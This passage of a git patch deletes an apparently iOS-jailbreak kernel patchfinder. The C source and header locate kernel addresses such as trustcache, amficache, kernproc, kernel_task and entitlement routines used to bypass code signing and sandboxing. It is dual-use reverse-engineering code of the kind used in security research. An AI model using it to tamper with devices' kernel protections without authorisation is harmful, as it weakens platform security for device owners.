addr_t ent_str = find_strref("rootless_storage_class_entitlement", 1, 1); - ent_str -= kerndumpbase; - - call1 = step64(kernel, ent_str, 20*4, INSN_CALL); - call1 += 4; - call2 = step64(kernel, call1, 20*4, INSN_CALL); - call2 += 4; - call3 = step64(kernel, call2, 20*4, INSN_CALL); - call3 += 4; - call4 = step64(kernel, call3, 20*4, INSN_CALL); - call4 += 4; - call5 = step64(kernel, call4, 20*4, INSN_CALL); - call5 += 4; - call6 = step64(kernel, call5, 20*4, INSN_CALL); - call6 += 4; - - // this gets to the stub - call7 = step64(kernel, call6, 20*4, INSN_CALL); - func1 = follow_call64(kernel, call7); - - addr_t stub_offset = calc64(kernel, func1, func1+12, 16); - addr_t val = *(addr_t*)(kernel+stub_offset); - - return val; -} - -addr_t find_vnode_getattr(void) { - addr_t call1; - addr_t func1; - - addr_t error_str = find_strref("\"add_fsevent: you can't pass me a NULL vnode ptr (type %d)!\\n\"", 1, 0); - error_str -= kerndumpbase; - - error_str += 12; // bypass the panic call - - call1 = step64(kernel, error_str, 30*4, INSN_CALL); - func1 = follow_call64(kernel, call1); - - return func1 + kerndumpbase; -} - -addr_t find_SHA1Init(void) { - addr_t call1; - addr_t func1; - - addr_t id_str = find_strref("chip-id", 1, 1); - id_str -= kerndumpbase; - - call1 = step64(kernel, id_str, 30*4, INSN_CALL); - func1 = follow_call64(kernel, call1); - - return func1 + kerndumpbase; -} - -addr_t find_SHA1Update(void) { - addr_t call1, call2; - addr_t func1; - - addr_t id_str = find_strref("chip-id", 1, 1); - id_str -= kerndumpbase; - - call1 = step64(kernel, id_str, 30*4, INSN_CALL); - call1 += 4; - call2 = step64(kernel, call1, 30*4, INSN_CALL); - func1 = follow_call64(kernel, call2); - - return func1 + kerndumpbase; -} - - -addr_t find_SHA1Final(void) { - addr_t call1, call2, call3, call4, call5; - addr_t func1; - - addr_t id_str = find_strref("chip-id", 1, 1); - id_str -= kerndumpbase; - - call1 = step64(kernel, id_str, 30*4, INSN_CALL); - call1 += 4; - call2 = step64(kernel, call1, 30*4, INSN_CALL); - call2 += 4; - call3 = step64(kernel, call2, 30*4, INSN_CALL); - call3 += 4; - call4 = step64(kernel, call3, 30*4, INSN_CALL); - call4 += 4; - call5 = step64(kernel, call4, 30*4, INSN_CALL); - func1 = follow_call64(kernel, call5); - - return func1 + kerndumpbase; -} - -addr_t find_csblob_entitlements_dictionary_set(void) { - addr_t call1, call2, call3, call7; - addr_t func1; - - addr_t ent_str = find_strref("entitlements are not a dictionary", 1, 1); - ent_str -= kerndumpbase; - - call1 = step64(kernel, ent_str, 20*4, INSN_CALL); - call1 += 4; - call2 = step64(kernel, call1, 20*4, INSN_CALL); - call2 += 4; - call3 = step64(kernel, call2, 20*4, INSN_CALL); - /*call3 += 4; - call4 = step64(kernel, call3, 20*4, INSN_CALL); - call4 += 4; - call5 = step64(kernel, call4, 20*4, INSN_CALL);*/ - - // this gets to the stub - call7 = step64(kernel, call3, 20*4, INSN_CALL); // IF DOESNT WORK, REPLACE THIS WITH call5, AND UNCOMMENT - func1 = follow_call64(kernel, call7); - - addr_t stub_offset = calc64(kernel, func1, func1+12, 16); - addr_t val = *(addr_t*)(kernel+stub_offset); - - return val; -} -addr_t find_kernel_task(void) { - addr_t call1; - addr_t func1; - - addr_t str = find_strref("\"thread_terminate\"", 1, 0); - str -= kerndumpbase; - - func1 = bof64(kernel, xnucore_base, str); // find thread_terminate - - call1 = step64(kernel, func1, 20*4, INSN_CALL); // Find the first call - - addr_t kern_task = calc64(kernel, func1, call1, 9); - return kern_task; -} - - -addr_t find_kernproc(void) { - addr_t call1, call2, call3, call4, call5, call6; - - addr_t err_str = find_strref("0 == error", 1, 0); - err_str -= kerndumpbase; - - call1 = step64_back(kernel, err_str, 20*4, INSN_CALL); - call1 -= 4; - call2 = step64_back(kernel, call1, 20*4, INSN_CALL); - call2 -= 4; - call3 = step64_back(kernel, call2, 20*4, INSN_CALL); - call3 -= 4; - call4 = step64_back(kernel, call3, 20*4, INSN_CALL); - call4 -= 4; - call5 = step64_back(kernel, call4, 20*4, INSN_CALL); - call5 -= 4; - call6 = step64_back(kernel, call5, 20*4, INSN_CALL); - - // this gets to the stub - addr_t kernproc = calc64(kernel, call6, call5, 1); - - return kernproc; -} -#ifdef HAVE_MAIN -#include - -addr_t -find_symbol(const char *symbol) -{ - unsigned i; - const struct mach_header *hdr = kernel_mh; - const uint8_t *q; - int is64 = 0; - - if (IS64(hdr)) { - is64 = 4; - } - - /* XXX will only work on a decrypted kernel */ - if (!kernel_delta) { - return 0; - } - - /* XXX I should cache these. ohwell... */ - q = (uint8_t *)(hdr + 1) + is64; - for (i = 0; i < hdr->ncmds; i++) { - const struct load_command *cmd = (struct load_command *)q; - if (cmd->cmd == LC_SYMTAB) { - const struct symtab_command *sym = (struct symtab_command *)q; - const char *stroff = (const char *)kernel + sym->stroff + kernel_delta; - if (is64) { - uint32_t k; - const struct nlist_64 *s = (struct nlist_64 *)(kernel + sym->symoff + kernel_delta); - for (k = 0; k < sym->nsyms; k++) { - if (s[k].n_type & N_STAB) { - continue; - } - if (s[k].n_value && (s[k].n_type & N_TYPE) != N_INDR) { - if (!strcmp(symbol, stroff + s[k].n_un.n_strx)) { - /* XXX this is an unslid address */ - return s[k].n_value; - } - } - } - } - } - q = q + cmd->cmdsize; - } - return 0; -} - -/* test **********************************************************************/ - -int -main(int argc, char **argv) -{ - int rv; - addr_t base = 0; - const addr_t vm_kernel_slide = 0; - rv = init_kernel(base, (argc > 1) ? argv[1] : "krnl"); - assert(rv == 0); - - addr_t AGXCommandQueue_vtable = find_AGXCommandQueue_vtable(); - printf("\t\t\t0x%llx\n", AGXCommandQueue_vtable - vm_kernel_slide); - addr_t OSData_getMetaClass = find_symbol("__ZNK6OSData12getMetaClassEv"); - printf("\t\t\t0x%llx\n", OSData_getMetaClass); - addr_t OSSerializer_serialize = find_symbol("__ZNK12OSSerializer9serializeEP11OSSerialize"); - printf("\t\t\t0x%llx\n", OSSerializer_serialize); - addr_t k_uuid_copy = find_symbol("_uuid_copy"); - printf("\t\t\t0x%llx\n", k_uuid_copy); - addr_t allproc = find_allproc(); - printf("\t\t\t0x%llx\n", allproc); - addr_t realhost = find_realhost(); - printf("\t\t\t0x%llx\n", realhost - vm_kernel_slide); - addr_t call5 = find_call5(); - printf("\t\t\t0x%llx\n", call5 - vm_kernel_slide); - - addr_t trustcache = find_trustcache(); - printf("\t\t\t0x%llx\n", trustcache); - addr_t amficache = find_amficache(); - printf("\t\t\t0x%llx\n", amficache); - - term_kernel(); - return 0; -} - -#endif /* HAVE_MAIN */ - diff --git a/patchfinder64.h b/patchfinder64.h deleted file mode 100644 index bd805b5..0000000 --- a/patchfinder64.h +++ /dev/null @@ -1,55 +0,0 @@ -#ifndef PATCHFINDER64_H_ -#define PATCHFINDER64_H_ - -int init_kernel(uint64_t base, const char *filename); -void term_kernel(void); - -enum { SearchInCore, SearchInPrelink }; - -uint64_t find_register_value(uint64_t where, int reg); -uint64_t find_reference(uint64_t to, int n, int prelink); -uint64_t find_strref(const char *string, int n, int prelink); -uint64_t find_gPhysBase(void); -uint64_t find_kernel_pmap(void); -uint64_t find_amfiret(void); -uint64_t find_ret_0(void); -uint64_t find_amfi_memcmpstub(void); -uint64_t find_sbops(void); -uint64_t find_lwvm_mapio_patch(void); -uint64_t find_lwvm_mapio_newj(void); - -uint64_t find_entry(void); -const unsigned char *find_mh(void); - -uint64_t find_cpacr_write(void); -uint64_t find_str(const char *string); -uint64_t find_amfiops(void); -uint64_t find_sysbootnonce(void); -uint64_t find_trustcache(void); -uint64_t find_amficache(void); -uint64_t find_allproc(void); -uint64_t find_add_x0_x0_0x40_ret(void); -uint64_t find_copyout(void); -uint64_t find_bzero(void); -uint64_t find_bcopy(void); -uint64_t find_rootvnode(void); -uint64_t find_realhost(void); -uint64_t find_zone_map_ref(void); -uint64_t find_OSBoolean_True(void); -uint64_t find_OSBoolean_False(void); -uint64_t find_osunserializexml(void); -uint64_t find_smalloc(void); -uint64_t find_vfs_context_current(void); -uint64_t find_vnode_lookup(void); -uint64_t find_vnode_put(void); -uint64_t find_vnode_getfromfd(void); -uint64_t find_vnode_getattr(void); -uint64_t find_SHA1Init(void); -uint64_t find_SHA1Update(void); -uint64_t find_SHA1Final(void); -uint64_t find_csblob_entitlements_dictionary_set(void); -uint64_t find_kernel_task(void); -uint64_t find_kernproc(void); - -#endif - -- cgit v1.2.3